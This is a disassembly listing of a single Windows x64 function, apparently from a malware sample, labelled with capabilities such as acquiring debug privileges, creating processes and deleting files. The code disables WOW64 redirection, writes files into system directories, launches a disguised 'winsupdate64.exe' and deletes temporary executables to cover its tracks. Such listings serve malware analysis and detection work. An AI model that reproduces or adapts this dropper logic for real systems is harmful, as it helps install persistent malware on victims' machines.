Function at 0x1400017d0
Capabilities:
Acquire debug privileges
Create process on windows
Delete file
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x6b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x6a0], rax
lea rcx, [rsp + 0x151]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x150], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x371]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x370], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x261]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x260], 0
call sub.MSVCR90.dll_memset
lea rcx, [0x1400044d0]
mov edx, 1
call fcn.140001720
call fcn.140001bf0
mov dword [0x140006a54], eax
test eax, eax
je 0x1400018a6
mov ecx, 4
call fcn.140001490
cmp dword [0x140006a54], 0
je 0x1400018a6
call fcn.140001530
call fcn.1400015f0
mov ecx, 5
call fcn.140001490
jmp 0x1400018ab
call fcn.1400015f0
lea rcx, [0x140006a60]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140006a60]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x1400018fa
lea rdx, str.Wow64DisableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x30]
call rax
lea r9, [0x1400044f8]
lea r8, [0x140006a60]
lea rdx, [0x140004394]
lea rcx, [rsp + 0x370]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x370]
lea ecx, [r8 + 0x6c]
call fcn.140001340
lea rcx, [rsp + 0x370]
mov edx, 1
call fcn.140001000
lea r9, [0x140004510]
lea r8, [0x140006a60]
lea rdx, [0x140004394]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea ecx, [r8 + 0x65]
call fcn.140001340
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.140001000
lea rcx, [0x140006a60]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140006a60]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
lea r9, [0x140004510]
lea r8, [0x140006a60]
lea rdx, [0x140004394]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea ecx, [r8 + 0x65]
call fcn.140001340
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.140001000
lea rcx, [0x140006a60]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140006a60]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
lea r9, [0x140004520]
lea r8, [0x140006a60]
lea rdx, [0x140004394]
lea rcx, [rsp + 0x150]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x150]
lea ecx, [r8 + 0x69]
call fcn.140001340
lea rcx, [rsp + 0x150]
mov edx, 1
call fcn.140001000
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140001a81
lea rdx, str.Wow64DisableWow64FsRedirection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x30]
call rax
call fcn.140002270
lea rdi, [0x140006950]
mov r8d, 0x104
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ecx, ecx
lea rbx, [0x140006840]
nop word [rax + rax]
movzx eax, byte [rcx + rdi]
inc rcx
mov byte [rcx + rbx - 1], al
test al, al
jne 0x140001ab0
mov edx, 0x5c
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_strrchr]
test rax, rax
je 0x140001ad5
mov byte [rax], 0
lea r9, str.winsupdate64.exe
lea rdx, [0x140004394]
lea rcx, [rsp + 0x260]
mov r8, rbx
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r8d, r8d
lea rdx, [rsp + 0x260]
lea ecx, [r8 + 0x79]
call fcn.140001340
lea r8, [rsp + 0x260]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140001100
call fcn.140002660
lea rcx, [rsp + 0x591]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x590], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x481]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x480], 0
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x480]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, str.ssdx64.exe
lea r8, [rsp + 0x480]
lea rdx, [0x14000453c]
lea rcx, [rsp + 0x590]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea rcx, [rsp + 0x590]
call qword [sym.imp.MSVCR90.dll_remove]
lea rcx, str.c:windows_temp_rerx.exe
call qword [sym.imp.MSVCR90.dll_remove]
xor eax, eax
mov rcx, qword [rsp + 0x6a0]
xor rcx, rsp
call fcn.140002870
mov rbx, qword [rsp + 0x6c0]
add rsp, 0x6b0
pop rdi
ret